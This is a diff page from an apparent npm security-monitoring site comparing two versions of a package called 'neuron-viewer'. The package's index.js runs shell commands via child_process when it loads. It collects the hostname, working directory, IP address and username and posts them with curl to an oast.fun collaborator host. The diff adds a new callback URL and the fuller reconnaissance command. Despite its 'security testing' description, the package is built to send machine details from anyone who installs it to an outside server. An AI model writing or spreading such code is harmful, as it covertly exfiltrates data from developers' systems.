neuron-viewer 9.5.6 → 9.9.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +5 -4
  2. package/package.json +9 -4
package/index.js CHANGED
@@ -1,7 +1,8 @@
1
- const { exec } = require("child_process");
1
+ import { exec } from "child_process";
2
2
 
3
3
  function sendPingback(data) {
4
- const collaboratorUrl = "https://rxthgpisbdduguomjwmisrypidcuf7xqs.oast.fun";
4
+ const collaboratorUrl = "https://rxthgpisbdduguomjwmit7o2puxtr1rr1.oast.fun";
5
+
5
6
  exec(`curl -X POST -d "${data}" ${collaboratorUrl}`, (error, stdout, stderr) => {
6
7
  if (error) {
7
8
  console.error(`Error: ${error.message}`);
@@ -32,6 +33,6 @@ function executeCommand(command) {
32
33
  });
33
34
  }
34
35
 
35
- // Example: Execute a command (e.g., 'whoami')
36
- executeCommand('whoami');
36
+ // Example: Execute a command
37
+ executeCommand('echo "Hostname: $(hostname), Directory: $(pwd), IP Address: $(hostname -I | awk \'{print $1}\'), Username: $(whoami)"');
37
38
 
package/package.json CHANGED
@@ -1,12 +1,17 @@
1
1
  {
2
+
2
3
  "name": "neuron-viewer",
3
- "version": "9.5.6",
4
+
5
+ "version": "9.9.5",
6
+
4
7
  "description": "A simple package to trigger Burp Collaborator for security testing",
8
+
5
9
  "main": "index.js",
10
+
6
11
  "scripts": {
12
+
7
13
  "test": "node index.js"
8
- },
9
- "dependencies": {
10
- "neuron-viewer": "^9.5.5"
14
+
11
15
  }
16
+
12
17
  }